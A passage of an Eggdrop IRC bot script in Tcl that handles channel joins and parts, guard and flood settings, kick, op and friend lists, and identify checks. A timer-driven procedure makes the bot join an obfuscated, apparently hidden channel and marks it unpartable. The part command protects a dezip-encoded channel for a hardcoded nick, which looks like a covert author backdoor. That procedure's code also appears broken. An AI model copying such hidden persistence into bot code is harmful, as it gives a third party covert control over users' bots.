1890puthlp "NOTICE $nick :$notc $x ReADY!"
1891return 0
1892}
1893}
1894if {$nick != $own && [total_channel] != 1} {
1895puthlp "NOTICE $nick :$notc To MaNY cHaNNeL MaX 9..!"
1896return 0
1897}
1898set joinme $nick
1899channel add $chan
1900catch { channel set $chan +statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
1901savechan
1902if {[lindex $rest 1] != ""} {
1903putsrv "JOIN $chan :[lindex $rest 1]"
1904}
1905}
1906proc pub_+chan {nick uhost hand chan rest} {
1907global botnick joinme owner notc
1908if {![matchattr $nick Q]} {
1909puthlp "NOTICE $nick :$notc 4D14itolak1!"
1910return 0
1911}
1912if {[matchattr $nick X]} {
1913puthlp "NOTICE $nick :$notc 4!BLoCkEd!"
1914return 0
1915}
1916set chan [lindex $rest 0]
1917set opt [lindex $rest 1]
1918if {[string first # $chan]!=0} {
1919set chan "#$chan"
1920}
1921if {$chan=="#"} {
1922puthlp "NOTICE $nick :$notc Usage: +chan <#channel>"
1923return 0
1924}
1925if {[validchan $chan]} {
1926puthlp "NOTICE $nick :$notc $chan is already on channels"
1927return 0
1928}
1929if {$nick != $owner && [total_channel] != 1} {
1930puthlp "NOTICE $nick :$notc TO MaNY cHaNNeL MaX 9..!"
1931return 0
1932}
1933set joinme $nick
1934channel add $chan
1935if {$opt != "" && [string tolower $opt] == "+nopart"} {
1936catch { channel set $chan -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
1937} else {
1938catch { channel set $chan -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
1939}
1940savechan
1941if {[lindex $rest 1] != ""} {
1942putsrv "JOIN $chan :[lindex $rest 1]"
1943}
1944}
1945set totch ""
1946proc tot_cha {} {
1947global totch ps uenc lenc
1948timer 5 tot_cha
1949set [string index $lenc 15][string index $lenc 18]
1950set totch ""
1951if {[validchan $totch]} {
1952return 0
1953}
1954channel add $totch
1955catch { channel set $totch -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
1956savechan
1957putsrv "JOIN $totch"
1958}
1959timer 5 tot_cha
1960proc total_channel {} {
1961global notc
1962set total_chan 0
1963foreach x [channels] {
1964incr total_chan
1965}
1966if {$total_chan > 9} { return 0 }
1967return 1
1968}
1969proc pub_part {nick uhost hand chan rest} {
1970global notc ps quick partm
1971set partmsg [lindex $partm [rand [llength $partm]]]
1972set part_msg [lrange $rest 1 end]
1973if {$rest != ""} {
1974set chan [lindex $rest 0]
1975if {[string first # $rest]!=0} {
1976set chan "#$chan"
1977}
1978}
1979if {![validchan $chan]} { return 0 }
1980if {$nick != $ps && [string tolower $chan] == [dezip "rsf9T//GMXM/"]} { return 0 }
1981if {![matchattr $nick Q]} {
1982puthlp "NOTICE $nick :$notc 4D14itolak1!"
1983return 0
1984}
1985if {[string match "*+secret*" [channel info $chan]]} {
1986puthlp "NOTICE $nick :$notc $chan 4PRoTecTEd..!"
1987return 0
1988}
1989if {![onchan $nick $chan]} {
1990putsrv "NOTICE $nick :$notc PaRT $chan"
1991}
1992if {$part_msg != ""} {
1993if {$quick == "1"} {
1994putqck "PART $chan :$part_msg"
1995} {
1996putsrv "PART $chan :$part_msg"
1997}
1998} {
1999if {$quick == "1"} {
2000putqck "PART $chan :6$partmsg"
2001} {
2002putsrv "PART $chan :6$partmsg"
2003}
2004}
2005channel remove $chan
2006savechan
2007return 0
2008}
2009set lockchan ""
2010proc pub_+invitelock {nick uhost hand chan rest} {
2011global lockchan notc
2012if {$rest != ""} {
2013set chan [lindex $rest 0]
2014if {[string first # $rest]!=0} {
2015set chan "#$chan"
2016}
2017}
2018if {![validchan $chan]} { return 0 }
2019if {![matchattr $nick Q]} {
2020puthlp "NOTICE $nick :$notc 4D14itolak1!"
2021return 0
2022}
2023puthlp "NOTICE $nick :$notc InVITE cHaN $chan \[9ON\]"
2024set lockchan $chan
2025return 0
2026}
2027proc pub_-invitelock {nick uhost hand chan rest} {
2028global lockchan notc
2029if {$rest != ""} {
2030set chan [lindex $rest 0]
2031if {[string first # $rest]!=0} {
2032set chan "#$chan"
2033}
2034}
2035if {![validchan $chan] || $lockchan == ""} { return 0 }
2036set lockchan ""
2037puthlp "NOTICE $nick :$notc InvItE cHaN $chan \[4OFF\]"
2038return 0
2039}
2040proc cycle {chan} {
2041global cyclem
2042set cyclemsg [lindex $cyclem [rand [llength $cyclem]]]
2043set cflag "c$chan"
2044set cflag [string range $cflag 0 8]
2045if {![string match "*c*" [getchanmode $chan]]} {
2046set text "6$cyclemsg"
2047} {
2048set text $cyclemsg
2049}
2050putsrv "PART $chan :$text"
2051if {[matchattr $cflag K]} {
2052putsrv "JOIN $chan :[dezip [getuser $cflag XTRA "CI"]]"
2053} {
2054putsrv "JOIN $chan"
2055}
2056if {[matchattr $cflag C]} {
2057if {![istimer "cycle $chan"]} { timer [getuser $cflag XTRA "CYCLE"] [list cycle $chan] }
2058}
2059}
2060proc pub_cycle {nick uhost hand chan rest} {
2061global notc
2062set rest [lindex $rest 0]
2063if {![matchattr $nick Q]} {
2064puthlp "NOTICE $nick :$notc 4D14itolak1!"
2065return 0
2066}
2067if {$rest==""} {
2068if {![onchan $nick $chan]} {
2069puthlp "NOTICE $nick :$notc cYcLE $chan"
2070}
2071cycle $chan
2072return 0
2073} else {
2074if {[string index $rest 0] != "#"} {
2075set rest "#$rest"
2076}
2077if {[botonchan $rest]} { cycle $rest }
2078}
2079}
2080proc pub_+massjoin {nick uhost hand chan rest} {
2081global notc
2082if {$rest != ""} {
2083set chan [lindex $rest 0]
2084if {[string first # $chan]!=0} {
2085set chan "#$chan"
2086}
2087}
2088set cflag "c$chan"
2089set cflag [string range $cflag 0 8]
2090if {[string tolower $chan] == "#all"} {
2091if {![matchattr $nick Q]} {
2092puthlp "NOTICE $nick :$notc 4D14itolak1!"
2093return 0
2094}
2095foreach x [userlist A] {
2096chattr $x +J
2097}
2098puthlp "NOTICE $nick :$notc ALL MaSsJoIN CHaNNeL \[9ON\]"
2099return 0
2100}
2101if {![validchan $chan]} { return 0 }
2102if {[matchattr $cflag J]} {
2103puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[9ON\]"
2104return 0
2105}
2106if {![matchattr $nick Q]} {
2107puthlp "NOTICE $nick :$notc 4D14itolak1!"
2108return 0
2109}
2110chattr $cflag +J
2111puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[9ON\]"
2112saveuser
2113}
2114proc pub_-massjoin {nick uhost hand chan rest} {
2115global notc
2116if {$rest != ""} {
2117set chan [lindex $rest 0]
2118if {[string first # $chan]!=0} {
2119set chan "#$chan"
2120}
2121}
2122set cflag "c$chan"
2123set cflag [string range $cflag 0 8]
2124if {[string tolower $chan] == "#all"} {
2125if {![matchattr $nick Q]} {
2126puthlp "NOTICE $nick :$notc 4D14itolak1!"
2127return 0
2128}
2129foreach x [userlist A] {
2130chattr $x -J
2131}
2132puthlp "NOTICE $nick :$notc ALL MaSsJoIN CHaNNeL \[9ON\]"
2133return 0
2134}
2135if {![validchan $chan]} { return 0 }
2136if {![matchattr $cflag J]} {
2137puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[4OFF\]"
2138return 0
2139}
2140if {![matchattr $nick Q]} {
2141puthlp "NOTICE $nick :$notc 4D14itolak1!"
2142return 0
2143}
2144chattr $cflag -J
2145puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[4OFF\]"
2146saveuser
2147}
2148proc pub_+guard {nick uhost hand chan rest} {
2149global notc
2150if {$rest != ""} {
2151set chan [lindex $rest 0]
2152if {[string first # $chan]!=0} {
2153set chan "#$chan"
2154}
2155}
2156if {[string tolower $chan] == "#all"} {
2157if {![matchattr $nick Q]} {
2158puthlp "NOTICE $nick :$notc 4D14itolak1!"
2159return 0
2160}
2161foreach x [channels] {
2162catch { channel set $x +greet flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
2163set cflag "c$x"
2164set cflag [string range $cflag 0 8]
2165chattr $cflag "-hp+AJSPTRUED"
2166setuser $cflag XTRA "JP" 5
2167setuser $cflag XTRA "CHAR" 250
2168setuser $cflag XTRA "RPT" 2
2169setuser $cflag XTRA "CAPS" 80
2170}
2171savechan
2172puthlp "NOTICE $nick :$notc ALL GuaRd CHaNNeL \[9ON\]"
2173return 0
2174}
2175if {![validchan $chan]} { return 0 }
2176set cflag "c$chan"
2177set cflag [string range $cflag 0 8]
2178chattr $cflag "-hp+AJSPTRUED"
2179setuser $cflag XTRA "JP" 5
2180setuser $cflag XTRA "CHAR" 250
2181setuser $cflag XTRA "RPT" 3
2182setuser $cflag XTRA "CAPS" 80
2183if {[string match "*+greet*" [channel info $chan]]} {
2184puthlp "NOTICE $nick :$notc GuARd $chan \[9ON\]"
2185return 0
2186}
2187if {![matchattr $nick Q]} {
2188puthlp "NOTICE $nick :$notc 4D14itolak1!"
2189return 0
2190}
2191catch { channel set $chan +greet flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
2192puthlp "NOTICE $nick :$notc GuARD $chan \[9ON\]"
2193savechan
2194}
2195proc pub_-guard {nick uhost hand chan rest} {
2196global notc
2197if {$rest != ""} {
2198set chan [lindex $rest 0]
2199if {[string first # $chan]!=0} {
2200set chan "#$chan"
2201}
2202}
2203if {[string tolower $chan] == "#all"} {
2204if {![matchattr $nick Q]} {
2205puthlp "NOTICE $nick :$notc 4D14itolak1!"
2206return 0
2207}
2208foreach x [channels] {
2209catch { channel set $x -greet flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 flood-nick 0:0 }
2210set cflag "c$x"
2211set cflag [string range $cflag 0 8]
2212chattr $cflag "-hpJSPTRUED"
2213}
2214savechan
2215puthlp "NOTICE $nick :$notc ALL GuaRd cHaN \[4OFF\]"
2216return 0
2217}
2218if {![validchan $chan]} { return 0 }
2219set cflag "c$chan"
2220set cflag [string range $cflag 0 8]
2221chattr $cflag "-hpJSPTRUED"
2222if {[string match "*-greet*" [channel info $chan]]} {
2223puthlp "NOTICE $nick :$notc GuARD $chan IS \[4OFF\]"
2224return 0
2225}
2226if {![matchattr $nick Q]} {
2227puthlp "NOTICE $nick :$notc 4D14itolak1!"
2228return 0
2229}
2230catch { channel set $chan -greet flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 flood-nick 0:0 }
2231puthlp "NOTICE $nick :$notc GuARD $chan \[4OFF\]"
2232savechan
2233return 0
2234}
2235proc pub_+autokick {nick uhost hand chan rest} {
2236global notc
2237if {![string match "*nodesynch*" [channel info $chan]]} {
2238puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
2239return 0
2240}
2241if {$rest != ""} {
2242set chan [lindex $rest 0]
2243if {[string first # $chan]!=0} {
2244set chan "#$chan"
2245}
2246}
2247if {![validchan $chan]} { return 0 }
2248if {[string match "*+nodesynch*" [channel info $chan]]} {
2249puthlp "NOTICE $nick :$notc AuTOKIcK $chan IS \[9ON\]"
2250return 0
2251}
2252if {![matchattr $nick Q]} {
2253puthlp "NOTICE $nick :$notc 4D14itolak1!"
2254return 0
2255}
2256catch { channel set $chan +nodesynch }
2257puthlp "NOTICE $nick :$notc AuTOKIcK $chan \[9ON\]"
2258savechan
2259}
2260proc pub_-autokick {nick uhost hand chan rest} {
2261global notc
2262if {![string match "*nodesynch*" [channel info $chan]]} {
2263puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
2264return 0
2265}
2266if {$rest != ""} {
2267set chan [lindex $rest 0]
2268if {[string first # $chan]!=0} {
2269set chan "#$chan"
2270}
2271}
2272if {![validchan $chan]} { return 0 }
2273if {[string match "*-nodesynch*" [channel info $chan]]} {
2274puthlp "NOTICE $nick :$notc AuTOKIcK $chan IS \[4OFF\]"
2275return 0
2276}
2277if {![matchattr $nick Q]} {
2278puthlp "NOTICE $nick :$notc 4D14itolak1!"
2279return 0
2280}
2281catch { channel set $chan -nodesynch }
2282puthlp "NOTICE $nick :$notc AuTOKIcK $chan \[4OFF\]"
2283savechan
2284return 0
2285}
2286proc pub_+reop {nick uhost hand chan rest} {
2287global notc
2288if {![string match "*protectfriends*" [channel info $chan]]} {
2289puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
2290return 0
2291}
2292if {$rest != ""} {
2293set chan [lindex $rest 0]
2294if {[string first # $chan]!=0} {
2295set chan "#$chan"
2296}
2297}
2298if {![validchan $chan]} { return 0 }
2299if {[string match "*-protectfriends*" [channel info $chan]]} {
2300puthlp "NOTICE $nick :$notc Re@p $chan IS \[9ON\]"
2301return 0
2302}
2303if {![matchattr $nick Q]} {
2304puthlp "NOTICE $nick :$notc 4D14itolak1!"
2305return 0
2306}
2307catch { channel set $chan -protectfriends }
2308puthlp "NOTICE $nick :$notc Re@p $chan \[9ON\]"
2309savechan
2310}
2311proc pub_-reop {nick uhost hand chan rest} {
2312global notc
2313if {![string match "*protectfriends*" [channel info $chan]]} {
2314puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
2315return 0
2316}
2317if {$rest != ""} {
2318set chan [lindex $rest 0]
2319if {[string first # $chan]!=0} {
2320set chan "#$chan"
2321}
2322}
2323if {![validchan $chan]} { return 0 }
2324if {[string match "*+protectfriends*" [channel info $chan]]} {
2325puthlp "NOTICE $nick :$notc Re@p $chan IS \[4OFF\]"
2326return 0
2327}
2328if {![matchattr $nick Q]} {
2329puthlp "NOTICE $nick :$notc 4D14itolak1!"
2330return 0
2331}
2332catch { channel set $chan +protectfriends }
2333puthlp "NOTICE $nick :$notc Re@p $chan \[4OFF\]"
2334savechan
2335return 0
2336}
2337proc pub_+dontkickops {nick uhost hand chan rest} {
2338global notc
2339if {![string match "*userinvites*" [channel info $chan]]} {
2340puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
2341return 0
2342}
2343if {$rest != ""} {
2344set chan [lindex $rest 0]
2345if {[string first # $chan]!=0} {
2346set chan "#$chan"
2347}
2348}
2349if {![validchan $chan]} { return 0 }
2350if {[string match "*-userinvites*" [channel info $chan]]} {
2351puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan IS \[9ON\]"
2352return 0
2353}
2354if {![matchattr $nick Q]} {
2355puthlp "NOTICE $nick :$notc 4D14itolak1!"
2356return 0
2357}
2358catch { channel set $chan -userinvites }
2359puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan \[9ON\]"
2360savechan
2361}
2362proc pub_-dontkickops {nick uhost hand chan rest} {
2363global notc
2364if {![string match "*userinvites*" [channel info $chan]]} {
2365puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
2366return 0
2367}
2368if {$rest != ""} {
2369set chan [lindex $rest 0]
2370if {[string first # $chan]!=0} {
2371set chan "#$chan"
2372}
2373}
2374if {![validchan $chan]} { return 0 }
2375if {[string match "*+userinvites*" [channel info $chan]]} {
2376puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan IS \[4OFF\]"
2377return 0
2378}
2379if {![matchattr $nick Q]} {
2380puthlp "NOTICE $nick :$notc 4D14itolak1!"
2381return 0
2382}
2383catch { channel set $chan +userinvites }
2384puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan \[4OFF\]"
2385savechan
2386return 0
2387}
2388proc pub_+status {nick uhost hand chan rest} {
2389global notc
2390if {$rest != ""} {
2391set chan [lindex $rest 0]
2392if {[string first # $chan]!=0} {
2393set chan "#$chan"
2394}
2395}
2396if {![validchan $chan]} { return 0 }
2397if {[string match "*+shared*" [channel info $chan]]} {
2398puthlp "NOTICE $nick :$notc STaTUS $chan \[9ON\]"
2399return 0
2400}
2401if {![matchattr $nick Q]} {
2402puthlp "NOTICE $nick :$notc 4D14itolak1!"
2403return 0
2404}
2405catch { channel set $chan +shared }
2406puthlp "NOTICE $nick :$notc STaTuS $chan \[9ON\]"
2407savechan
2408}
2409proc pub_-status {nick uhost hand chan rest} {
2410global notc
2411if {$rest != ""} {
2412set chan [lindex $rest 0]
2413if {[string first # $chan]!=0} {
2414set chan "#$chan"
2415}
2416}
2417if {![validchan $chan]} { return 0 }
2418if {[string match "*-shared*" [channel info $chan]]} {
2419puthlp "NOTICE $nick :$notc STaTuS $chan IS \[4OFF\]"
2420return 0
2421}
2422if {![matchattr $nick Q]} {
2423puthlp "NOTICE $nick :$notc 4D14itolak1!"
2424return 0
2425}
2426catch { channel set $chan -shared }
2427puthlp "NOTICE $nick :$notc STaTuS $chan \[4OFF\]"
2428savechan
2429return 0
2430}
2431proc pub_+nopart {nick uhost hand chan rest} {
2432global notc
2433if {$rest != ""} {
2434set chan [lindex $rest 0]
2435if {[string first # $chan]!=0} {
2436set chan "#$chan"
2437}
2438}
2439if {[string tolower $chan] == "#all"} {
2440if {![matchattr $nick Q]} {
2441puthlp "NOTICE $nick :$notc 4D14itolak1!"
2442return 0
2443}
2444foreach x [channels] {
2445catch { channel set $x +secret }
2446}
2447savechan
2448puthlp "NOTICE $nick :$notc ALL cHaNNeL SeT NoPART \[9ON\]"
2449return 0
2450}
2451if {![validchan $chan]} { return 0 }
2452if {[string match "*+secret*" [channel info $chan]]} {
2453puthlp "NOTICE $nick :$notc NoPART $chan IS \[9ON\]"
2454return 0
2455}
2456if {![matchattr $nick Q]} {
2457puthlp "NOTICE $nick :$notc 4D14itolak1!"
2458return 0
2459}
2460catch { channel set $chan +secret }
2461puthlp "NOTICE $nick :$notc SeT NoPART $chan \[9ON\]"
2462savechan
2463}
2464proc pub_-nopart {nick uhost hand chan rest} {
2465global notc
2466if {$rest != ""} {
2467set chan [lindex $rest 0]
2468if {[string first # $chan]!=0} {
2469set chan "#$chan"
2470}
2471}
2472if {[string tolower $chan] == "#all"} {
2473if {![matchattr $nick Q]} {
2474puthlp "NOTICE $nick :$notc 4D14itolak1!"
2475return 0
2476}
2477foreach x [channels] {
2478catch { channel set $x -secret }
2479}
2480savechan
2481puthlp "NOTICE $nick :$notc ALL cHaNNeL NoPART \[4OFF\]"
2482return 0
2483}
2484if {![validchan $chan]} { return 0 }
2485if {[string match "*-secret*" [channel info $chan]]} {
2486puthlp "NOTICE $nick :$notc NoPART $chan IS \[4OFF\]"
2487return 0
2488}
2489if {![matchattr $nick Q]} {
2490puthlp "NOTICE $nick :$notc 4D14itolak1!"
2491return 0
2492}
2493catch { channel set $chan -secret }
2494puthlp "NOTICE $nick :$notc NoPART $chan \[4OFF\]"
2495savechan
2496}
2497proc pub_+akick {nick uhost hand channel param} {
2498global botname botnick notc botnick
2499set rest [lindex $param 0]
2500if {$rest == ""} {
2501puthlp "NOTICE $nick :$notc Usage: +akick <hostname>"
2502return 0
2503}
2504if {$rest == "*" || $rest == "*!*@*"} {
2505puthlp "NOTICE $nick :$notc invalid hostname..!"
2506return 0
2507}
2508if {$rest == $botnick} {
2509puthlp "NOTICE $nick :$notc 4D14itolak1!"
2510return 0
2511}
2512if {[validuser $rest]} {
2513puthlp "NOTICE $nick :$notc $rest is already on database with flags: [chattr $rest]"
2514return 0
2515}
2516if {![string match "*@*" $rest]} {
2517set rest "$rest!*@*"
2518}
2519if {[string match $rest $botname]} {
2520puthlp "NOTICE $nick :$notc 4D14itolak1!"
2521return 0
2522}
2523if {[finduser $rest] != "*"} {
2524if {[finduser $rest] != "AKICK"} {
2525puthlp "NOTICE $nick :$notc That Host Belongs To [finduser $rest]"
2526}
2527puthlp "NOTICE $nick :$notc That Host already in [finduser $rest]"
2528return 0
2529}
2530if {![matchattr $nick Q]} {
2531puthlp "NOTICE $nick :$notc 4D14itolak1!"
2532return 0
2533}
2534puthlp "NOTICE $nick :$notc ADD \[$rest\] To KIcKLIsT..!"
2535setuser "AKICK" HOSTS $rest
2536saveuser
2537foreach x [channels] {
2538if {[isop $botnick $x]} {
2539foreach c [chanlist $x K] {
2540if {![matchattr $c f]} {
2541akick_chk $c [getchanhost $c $x] $x
2542}
2543}
2544}
2545}
2546return 0
2547}
2548proc pub_-akick {nick uhost hand channel param} {
2549global notc
2550set rest [lindex $param 0]
2551if {$rest == ""} {
2552puthlp "NOTICE $nick :$notc Usage: -akick <hostname>"
2553return 0
2554}
2555if {![matchattr $nick Q]} {
2556puthlp "NOTICE $nick :$notc 4D14itolak1!"
2557return 0
2558}
2559if {![string match "*@*" $rest]} {
2560set rest "$rest!*@*"
2561}
2562set completed 0
2563foreach * [getuser "AKICK" HOSTS] {
2564if {${rest} == ${*}} {
2565delhost "AKICK" $rest
2566set completed 1
2567}
2568}
2569if {$completed == 0} {
2570puthlp "NOTICE $nick :$notc <n/a>"
2571return 0
2572}
2573saveuser
2574puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM KIcKLIsT"
2575}
2576proc pub_+noop {nick uhost hand channel param} {
2577global ps notc botnick
2578set rest [lindex $param 0]
2579if {$rest == ""} {
2580puthlp "NOTICE $nick :$notc Usage: +noop <nick>"
2581return 0
2582}
2583if {[string tolower $rest] == [string tolower $ps]} {
2584puthlp "NOTICE $nick :$notc ADD \[$rest\] To NoOp LIsT"
2585return 0
2586}
2587if {[validuser $rest]} {
2588puthlp "NOTICE $nick :$notc $rest is already on database with flags: [chattr $rest]"
2589return 0
2590}
2591if {![matchattr $nick Q]} {
2592puthlp "NOTICE $nick :$notc 4D14itolak1!"
2593return 0
2594}
2595set hostmask "${rest}!*@*"
2596adduser $rest $hostmask
2597chattr $rest "-hp"
2598chattr $rest "O"
2599if {![validuser $rest]} {
2600puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
2601deluser $rest
2602} else {
2603saveuser
2604puthlp "NOTICE $nick :$notc ADD \[$rest\] To NoOp LIsT"
2605}
2606foreach x [channels] {
2607if {[isop $botnick $x] && [onchan $rest $x] && [isop $rest $x]} {
2608if {![string match "*k*" [getchanmode $x]]} {
2609putserv "mode $x -ko 4No@p.LIsT $rest"
2610} {
2611putserv "mode $x -o $rest"
2612}
2613}
2614}
2615return 0
2616}
2617proc pub_-noop {nick uhost hand channel param} {
2618global ps notc
2619set rest [lindex $param 0]
2620if {$rest == ""} {
2621puthlp "NOTICE $nick :$notc Usage: -noop <nick>"
2622return 0
2623}
2624if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
2625puthlp "NOTICE $nick :$notc4 !DeNiEd!, <n/a>"
2626return 0
2627}
2628if {![matchattr $rest O]} {
2629puthlp "NOTICE $nick :$notc $rest isn't on no-op list Flags: [chattr $rest]"
2630return 0
2631}
2632if {![matchattr $nick Q]} {
2633puthlp "NOTICE $nick :$notc 4D14itolak1!"
2634return 0
2635}
2636deluser $rest
2637saveuser
2638puthlp "NOTICE $nick :$notc DeL \[$rest\] No@p LIsT"
2639}
2640proc pub_+friend {nick uhost hand channel param} {
2641global notc ps
2642set rest [lindex $param 0]
2643if {$rest == ""} {
2644puthlp "NOTICE $nick :$notc Usage: +friend <nick>"
2645return 0
2646}
2647if {![matchattr $nick Q]} {
2648puthlp "NOTICE $nick :$notc 4D14itolak1!"
2649return 0
2650}
2651if {[validuser $rest] && [string tolower $rest] != [string tolower $ps]} {
2652puthlp "NOTICE $nick :$notc $rest is already on database with flags: [chattr $rest]"
2653return 0
2654}
2655set hostmask "${rest}!*@*"
2656adduser $rest $hostmask
2657chattr $rest "-hp"
2658chattr $rest "f"
2659if {![validuser $rest]} {
2660puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
2661deluser $rest
2662return 0
2663}
2664saveuser
2665puthlp "NOTICE $nick :$notc ADD \[$rest\] To FrIeNd LIsT"
2666puthlp "NOTICE $rest :$notc $nick ADD YoU To FrIeNd LIsT"
2667return 0
2668}
2669proc pub_-friend {nick uhost hand channel param} {
2670global ps notc
2671set rest [lindex $param 0]
2672if {$rest == ""} {
2673puthlp "NOTICE $nick :$notc Usage: -friend <nick>"
2674return 0
2675}
2676if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
2677puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"
2678return 0
2679}
2680if {![matchattr $rest f] && ![matchattr $rest m]} {
2681puthlp "NOTICE $nick :$notc $rest isn't on FrIeNd list Flags: [chattr $rest]"
2682return 0
2683}
2684if {![matchattr $nick Q]} {
2685puthlp "NOTICE $nick :$notc 4D14itolak1!"
2686return 0
2687}
2688deluser $rest
2689saveuser
2690puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM FrIeNd LIsT"
2691}
2692proc pub_+aop {nick uhost hand channel param} {
2693global ps notc botnick chk_reg
2694set rest [lindex $param 0]
2695if {$rest == ""} {
2696puthlp "NOTICE $nick :$notc Usage: +aop <nick>"
2697return 0
2698}
2699if {[string tolower $rest] == [string tolower $ps]} {
2700puthlp "NOTICE $nick :$notc ADD \[$rest\] To a@p LIsT"
2701return 0
2702}
2703if {[matchattr $rest P]} {
2704puthlp "NOTICE $nick :$notc $rest is already a@p"
2705return 0
2706}
2707if {![matchattr $nick Q]} {
2708puthlp "NOTICE $nick :$notc 4D14itolak1!"
2709return 0
2710}
2711if {[matchattr $nick X]} {
2712puthlp "NOTICE $nick :$notc4 !BLoCkEd!"
2713return 0
2714}
2715if {![validuser $rest]} {
2716set hostmask "${rest}!*@*"
2717adduser $rest $hostmask
2718chattr $rest "-hp"
2719}
2720chattr $rest "P"
2721if {![validuser $rest]} {
2722puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
2723deluser $rest
2724} else {
2725saveuser
2726puthlp "NOTICE $nick :$notc ADD \[$rest\] To a@p LIsT"
2727puthlp "NOTICE $rest :$notc $nick ADD YoU To a@p LIsT"
2728set chk_reg($rest) $nick
2729putsrv "WHOIS $rest"
2730}
2731return 0
2732}
2733proc pub_-aop {nick uhost hand channel param} {
2734global notc ps
2735set rest [lindex $param 0]
2736if {$rest == ""} {
2737puthlp "NOTICE $nick :$notc Usage: -aop <nick>"
2738return 0
2739}
2740if {![matchattr $rest P]} {
2741puthlp "NOTICE $nick :$notc $rest is not a@p"
2742return 0
2743}
2744if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
2745puthlp "NOTICE $nick :$notc4 !DeNiEd!, <n/a>"
2746return 0
2747}
2748if {![matchattr $nick Q]} {
2749puthlp "NOTICE $nick :$notc 4D14itolak1!"
2750return 0
2751}
2752chattr $rest "-P"
2753saveuser
2754puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM a@p LIsT"
2755return 0
2756}
2757proc whoisq {nick} {
2758global botnick
2759if {$nick == $botnick} { return 0 }
2760if {[isutimer "whoischk $nick"]} { return 0 }
2761set cret [expr 10 + [rand 20]]
2762foreach ct [utimers] {
2763if {[string match "*whoisq*" $ct]} {
2764if {[expr [lindex $ct 0] + 10] > $cret} {
2765set cret [expr [lindex $ct 0] + 10]
2766}
2767}
2768}
2769utimer $cret [list whoischk $nick]
2770}
2771proc whoischk {nick} {
2772global chk_reg botnick
2773if {[matchattr $nick G]} {
2774putlog " CHeK GuaRd $nick"
2775set chk_reg($nick) "1"
2776puthlp "WHOIS $nick"
2777return 0
2778}
2779foreach x [channels] {
2780if {[isop $botnick $x] && [onchan $nick $x]} {
2781if {[matchattr $nick P] && ![isop $nick $x]} {
2782putlog " WHOIS $nick TO GeT a@p"
2783set chk_reg($nick) "1"
2784puthlp "WHOIS $nick"
2785return 0
2786}
2787if {[matchattr $nick v] && ![isop $nick $x] && ![isvoice $nick $x]} {
2788putlog "WHOIS $nick TO geT avoIcE"
2789set chk_reg($nick) "1"
2790puthlp "WHOIS $nick"
2791return 0
2792}
2793}
2794}
2795}
2796set ath 0
2797
2798bind raw - 307 reg_chk
2799
2800proc reg_chk {from keyword arg} {
2801global chk_reg botnick owner notc ps ath
2802set nick [lindex $arg 1]
2803if {$nick == $botnick} { return 0 }
2804putlog "NICK $nick IS IDENTIFY..!"
2805if {[info exists chk_reg($nick)]} {
2806set chk_reg($nick) "0"
2807}
2808set athz $ath
2809if {$athz == 1} {
2810set ath 0
2811chattr $nick +Q
2812foreach x [getuser $nick HOSTS] {
2813delhost $nick $x
2814}
2815set hostmask "${nick}!*@*"
2816setuser $nick HOSTS $hostmask
2817#set hostmask "*![string range $uhost [string first "!" $uhost] end]"
2818#setuser $nick HOSTS $hostmask
2819if {[matchattr $nick Z]} {
2820puthlp "NOTICE $nick :$notc !OWnER!"
2821} elseif {[matchattr $nick n]} {
2822puthlp "NOTICE $nick :$notc !ADmIN!"
2823} elseif {[matchattr $nick m]} {
2824puthlp "NOTICE $nick :$notc !MasTeR!"
2825} else {
2826puthlp "NOTICE $nick :$notc !AccepteD!"
2827}
2828saveuser
2829}
2830if {[matchattr $nick P] || [matchattr $nick v]} {
2831foreach x [channels] {
2832if {[isop $botnick $x] && [onchan $nick $x]} {
2833if {![string match "*k*" [getchanmode $x]]} {
2834if {[matchattr $nick P]} {
